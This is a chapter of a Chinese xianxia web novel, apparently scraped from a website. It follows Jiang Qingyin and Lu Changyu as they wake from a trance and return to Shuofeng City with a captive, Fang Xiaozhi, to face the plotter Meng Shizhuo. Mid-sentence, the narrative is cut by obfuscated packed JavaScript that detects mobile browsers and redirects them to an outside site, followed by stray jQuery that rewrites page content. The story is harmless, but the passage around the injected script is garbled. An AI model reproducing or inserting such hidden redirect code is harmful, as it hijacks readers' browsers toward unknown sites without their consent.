树林中暗影交叠婆娑,此时月色隐于云层之中,透落几丝朦胧灰光。
一个时辰就快过去,但是江青引和陆长逾还是没有分毫要醒过来的迹象。
无瞻有些烦躁地站起身走来走去,她瞥了一眼不远处被她的灵力捆住的男人,眼里闪过一丝暗光,随后大步走过去狠狠踢了几脚尚在昏迷中的方啸之。
“都怪你!卑鄙小人打不过就暗算,害的主人去冒险!等你醒过来看姑奶奶我不把你打成孙子!”
携光转过头看了一眼在昏迷中都被无瞻踢得咳出一口血的方啸之,又看了看暴躁的少女,抿了抿唇还是开口说:“别担心了,道君和主人一定会没事的。”
“……你要是心中实在憋着一口气,你就拿我出气吧,这个人还不能死,但他受了很重的伤,再打下去就没气了。”
无瞻转身看着携光,眼神带着一丝愕然:“……可你不是说你主人不让你跟女孩子打架吗?”
“嗯……那我站着不动,你单方面打我,这就不算是打架了。”
携光的语气实在太过自然,不像是在开玩笑,无瞻瞪大了眼,随后竟是惊奇得无话可说了一般:“你……上古神剑都像你这般随意的吗?!我才懒得耗费灵力跟你做这种无聊的事!”
说完,红衣少女剜了携光一眼,转身又回到了江青引身边守着,虽然心里还有些生气,但明显没有那么焦躁了。
少年看着背对着自己蹲在地上的无瞻,奇怪地挑了挑眉。
生气了?为什么?反正自己也打不死吧?
此时眼看着时辰就快到了,携光看了看地上没有一丝动静的两人,“我去找人,道君和主人就先交给你了。”
就在携光刚才转过身之际,江青引周身原本平静的灵息忽然有了波动,下一刻,蓝衣少女缓缓睁开了眼。
“主人!你终于醒过来了!”无瞻兴奋看着江青引,满眼都是喜悦,携光见此也折返回来。
江青引冲无瞻点了点头,随后赶紧去看陆长逾的情况,“长逾,长逾?”
果然下一刻,青年的眼睫微微颤动,一双好看的桃花眼里还残留着迷茫,直到眼前模糊的轮廓逐渐变得清晰,他终于看清了江青引眉间隐带担忧的面容。
“呃……师父?”陆长逾看着江青引,说出口的声音带着少见的暗哑,但还不等他想说些什么,江青引就抓住他的手探索脉搏。
突如其来的柔软触感让他的身体僵了一瞬,但江青引因为过于专注并没有发现,直到确认没事后才放开了他的手腕,但还是问他:“有没有哪里不舒服?”
陆长逾看着江青引摇了摇头,并没有开口说话。
“没事就好,人我已经抓到了,我们耽搁的时间够长了,先回朔风城吧,具体的我路上跟你说。”江青引与陆长逾一同站起身,她看向被捆得结实的方啸之:“小光,带上人,我们走。”
携光得到指令,麻利地像提鸡崽子一样单手抓着方啸之的后领就走,无瞻不方便出现在人前,于是只能再次化为剑身隐入虚空。
正要离开之时,陆长逾的相较于平日异常的沉默引起了江青引的注意,“你怎么了?”
陆长逾看着江青引,有些勉强地扯了扯嘴角:“……没事,可能是还没缓过来,辛苦师父了,你不必担心我,我自己休息一会儿就好了。”
联想到可能是他在为识海里发生的事耿耿于怀,江青引本想再说些什么,陆长逾却像是看破她的意图般抢先道:“师父,朔风城事态紧急,我们还是先赶紧过去吧。”
江青引凝视着他的眼眸半晌,最后还是轻叹一声:“……好,走吧。”
既然陆长逾现在暂时还不想谈论此事,她自然也不会去逼迫他,等他先自己缓一缓再说也不迟。
无声无息中,树林再次恢复死寂般的沉默,冷风过,吹起一地枯叶。
——————
纪家正厅,有宋陵带来的人在,段小棠等人的伤口已经处理得七七八八了,她焦心地不断站起身朝门外望去,又回来坐下,又起身探头去望。
“曲楼主,你不是说宗主带着阿音出去抓入吗,可是都过了这么久了怎么还没回来啊?不会出事了吧?”
段小棠等人对面坐着的正是一脸悠闲转着手中玉箫的曲亦安和千易水。
原本千易水身为魔教之人出现在这里理应该被一起抓起来,但又因着她方才在街上出了不少力,所以其他人也并未为难她。
但这位传闻中性格阴晴不定的阙非殿之主此时的脸色却冷的有些可怕,像是心情很不好,所以也无人敢上前去和她攀谈她愿意帮忙的原因。
曲亦安听到对面有人唤自己,虽认不出是谁,但还是很好脾气地开口:“道友不必担心,江……讲真的,有他们两个在,没什么事是解决不了的。”
差点嘴顺说漏了,曲亦安在心里悄悄为自己捏了一把汗,感受到一旁千易水投来的警告目光更是停下了手中转玉箫的动作,乖乖闭上嘴装鹌鹑。
巧的是,下一刻江青引和陆长逾的身影就踏入了大厅,身后跟着进门的携光更是一把将手中的已经醒过来的方啸之摔在地上,自己则是趁着众人不注意之时隐去了身影。
但地上的方啸之像是被封住了喉咙,倒在地上嘴里也发不出一丝声音。
“阿音!宗主!你们回来啦!”段小棠看见江青引眼睛一亮,顿时不顾身上的伤口就冲上去要抱她,却在最后一刻被江青引拦住,“唉小海棠,你身上还有伤,小心点。”
原本乔羽看见江青引平安回来也激动地想上前,但却因为腿伤的太重刚起身就被楚唤州一把按了回去,“师兄你还是好好坐着吧,难不成你这腿是真不想要了?”
乔羽原本想争辩些什么,但看了看自己被裹成粽子的右腿,沉默过后还是只能妥协:“唉,好吧,只要看到姐姐没事就好……”
随后乔羽便只能坐在椅子上眼巴巴地看着不远处的江青引。
原本千易水在看见江青引的身影之时脸色就已缓和不少,但看见她和那个衍云宗的弟子这般亲密地说话时,顿时又
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16393880|178620||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发出一声冷哼。
宋陵在陆长逾进门之时就上前行礼,虽略有好奇地看了地上的方啸之一眼,但随后还是收回目光,用公事公办的语气说:“师父,朔风城现下已经控制住局面了,纪家后院里的两人已死,我们下一步该怎么做。”
陆长逾点点头,“做得不错,辛苦了。”
但他没有立马说出下一步的行动,而是先看向一旁的江青引,两人对视一眼,他立即就明白了江青引的意思,看向了地上的方啸之,先给其他人同步一下信息。
“他是方啸之,赤冥教的余孽,但现在已经加入了唳槐教,这次朔风城的血糜疫就是由唳槐教和纪家的洛汐联手散播血魄蛊造成的,跟洛汐接头的人就是他。”
“想知道有没有更好的办法解决血糜疫,恐怕还得从他这个系铃人身上找答案。”
说罢,陆长逾抬手正要收回封住方啸之咽喉的术法之时,却被一旁另一道声音打断。
曲亦安看着陆长逾扬起一抹笑:“慢着慢着,这位道友光顾着跟我们说你们的收获,怎么不问问我们的收获呢?”
江青引抬眼看去正好与曲亦安对视上,但对方显然是也知道大庭广众之下不能与自己太熟络,便假装礼貌地笑了笑,下一秒他的手心便幻化出一颗散发着纯净灵力的蓝色小球。
蓝色小球看着只有一个指头大小,但它出现的一瞬间,整个正厅的都立马充盈了浓郁丰沛的灵力,这灵力仿佛无穷无尽,一丝一缕的明蓝色流光都是澎湃的力量。
江青引见此眼中瞬间闪过一丝诧异:“这是……”
“清瞑丸。”千易水适时轻声开口,略带嫌弃地瞥了一眼身旁的曲亦安。
“我和这位……曲楼主在街上一起抓人的时候抢过来的,我们偶然发现它能完全治愈血糜人,所以才断定这就是清瞑丸。”
“唉道友,你这话可不对哦是你说这个蓝色小球是上古神物能解决血糜疫我们才‘借’来用一用的,这怎么能叫抢呢?”曲亦安颇为不认同地开口,眼中满是浩然正气。
但江青引却抓住了另一个重点,眸中闪过一丝厉色:“抓人?”
曲亦安很有眼力见地挥了挥手,清渺楼的弟子迅速从外面押着一个男子走了进来。
男子的手上被施了灵力的绳结绑住,虽然形容狼狈,但江青引还是一眼就认出了他,脸色微沉,音色冷冽:“……果然是你,孟时卓。”
孟时卓看着满堂的人,脸上丝毫没有畏惧之色,反而看着江青引和陆长逾露出那一惯的温和笑容:“许久不见了,二位。”
原本地上躺着不动的方啸之在看见孟时卓之后就开始猛然挣扎起来,但却因为发不出一点声音更显得像是涸泽之鱼般无力狼狈。
与方啸之的激动不同,孟时卓从始至终连眼神都没有给地上的人一个,仿佛他不过是一个无关紧要还会拖后腿的废物。
孟时卓只是静静转头看向陆长逾:“破凌道君不愧是衍云道君的徒弟,竟然能说动阙非殿都来帮你们,在下实在是自愧不如。”